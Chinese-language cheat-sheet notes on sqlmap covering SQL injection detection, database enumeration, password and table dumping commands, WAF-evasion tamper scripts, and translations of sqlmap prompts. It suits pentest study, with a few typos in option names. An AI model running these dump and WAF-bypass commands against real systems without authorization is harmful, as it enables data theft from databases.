数据库值之sqlnamp的使用1
sqlmap自动化注入点
Sqlmap 对于注入点而言
**
1、在完善身份信息填写后,发起post 请求,插入信息的时候,后台代码一般都会做防注入的检查 ,此处一般不容易注入,
2、 当发post 请求,更新刚才注册的信息时,一般这个post 一般不会做放注入检查,或者防护相对较弱。
3、在一个web中,最不常用的功能往往更新的较慢,那么可能存在注入点
**
sqlmap -u 只针对get 请求
-r 万能请求方法 主要进行post测试
目标可以是 url http://127.0.0.1/sqls/index.php?id=1 也可以是url请求包文件 1.txt
--level=5 代表更多的测试方法
--risk //风险等级,共有四个等级,1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的sql注入测试
--batch 代表使用默认配置 不用我们手动输入y/n
-dbms=mysql/oracle/mssql 指定数据库(这样既可以节省时间,在某些时候也可以绕过waf)
–threads 默认10 #采用多线程 20
-v 0-6 显示信息,一般不加,默认是0
-batch-smart 自动寻找注入点检测
-p 只针对一个交互的点进行注入测试
-m 批量测试扫描 2.txt
#标准测试是否有注入点: sqlmap.py -r id1.txt --level=5 --risk=3 --batch -threads=20 -dbms=mysql -batch-smart
--–banner 获取数据库信息
--dbs 查看所有的数据库()
--password 获取数据库用户密码信息
--current-user 查看数据库当前用户
判断当前用户是否有管理权限(--is-dba)
列出数据库管理员角色(--roles)
# sqlmap.py -r id1.txt --dbs -current-user --is-dba --roles --bat
查看当前的数据库(--current-db)
爆出指定数据库中的所有的表( -D 库名 --tables )
爆出指定数据库指定表中的所有的列(--columns)
-D 库名 -T 表名 --columns
出指定数据库指定表指定列下的数据(--dump)
-D security -T users -C username --dump
-D //指定数据库名称
-T //指定表名称
-C //指定字段名称
爆出该网站数据库中的所有数据(--dump-all)
-D security --dump-all # 爆出数据库security中的所有数据
sqlmap.py -r zhanghu.txt --level=5 --risk=3 --batch -o -threads=100 -dbms=mysql
导出表的所有数据
--dunp-all
查看当前数据库的 所有的库
sqlmap.py -r id1.txt --batch -D aa --tables
sqlmap.py -r id1.txt --batch -D aa -T aa --dump # 导出表
sqlmap.py -r id1.txt --batch -D aa -T aa --start 1 --stop 10 --dump #导出该表的指定行数
--identify-waf可以检查网站是否有安全防护
–proxy http://127.0.0.1:1080 使用代理扫描
apostrophemask.py 用UTF-8全角字符替换单引号字符
apostrophenullencode.py 用非法双字节unicode字符替换单引号字符
appendnullbyte.py 在payload末尾添加空字符编码
base64encode.py 对给定的payload全部字符使用Base64编码
between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”
bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”
chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)
charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)
concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
equaltolike.py 用“LIKE”运算符替换全部等于号“=”
greatest.py 用“GREATEST”函数替换大于号“>”
halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释
ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
lowercase.py 用小写值替换每个关键字字符
modsecurityversioned.py 用注释包围完整的查询
modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询
multiplespaces.py 在SQL关键字周围添加多个空格
nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器
overlongutf8.py 转换给定的payload当中的所有字符
percentage.py 在每个字符之前添加一个百分号
randomcase.py 随机转换每个关键字字符的大小写
randomcomments.py 向SQL关键字中插入随机注释
securesphere.py 添加经过特殊构造的字符串
sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
space2comment.py 用“/**/”替换空格符
space2dash.py 用破折号注释符“–”其次是一个随机字符串和一个换行符替换空格符
space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符
space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mysqldash.py 用破折号注释符“–”其次是一个换行符替换空格符
space2plus.py 用加号“+”替换空格符
space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”
unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符
varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF
versionedkeywords.py 用MySQL注释包围每个非函数关键字
versionedmorekeywords.py 用MySQL注释包围每个关键字
xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF
布尔
Type: boolean-based blind
堆叠
Type: stacked queries
时间
Type: time-based blind
联合
Type: UNION query
heuristics detected that the target is protected by some kind of WAF/IPS
启发式方法检测到目标受到某种WAF/IPS的保护。
POST parameter 'CSRF_TOKEN' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] Y
POST参数'CSRF_TOKEN'似乎持有反CSRF令牌。你想让sqlmap在进一步的请求中自动更新它吗?
Cookie parameter 'CSRF_TOKEN' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] Y
Cookie参数'CSRF_TOKEN'似乎持有反CSRF令牌。你想让sqlmap在进一步的请求中自动更新它吗?
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
你提供了一个HTTP Cookie头的值,而目标URL在HTTP Set-Cookie头中提供了自己的Cookie,并与你的Cookie相交。你想在进一步的请求中合并它们吗?[Y/n] n
[WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]
[警告]目标URL内容不稳定(即内容不同)。 sqlmap将基于序列匹配器进行页面比较。如果没有检测到动态的或可注入的参数,或者在有垃圾结果的情况下,请参考用户手册中的 "页面比较 "段落。
你想怎么做?[(C)ontinue/(s)tring/(r)egex/(q)uit]。
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n]
如果没有发现至少一种其他(潜在的)技术,建议只进行基本的UNION测试。你想减少请求的数量吗?[Y/n]
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
它看起来像后端DBMS是 "MySQL"。你想跳过专门针对其他DBMS的测试有效载荷吗?[Y/n] Y
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]
在NULL值的情况下,注射不可被利用。你想用一个随机的整数值来尝试选项'--union-char'吗?[Y/n]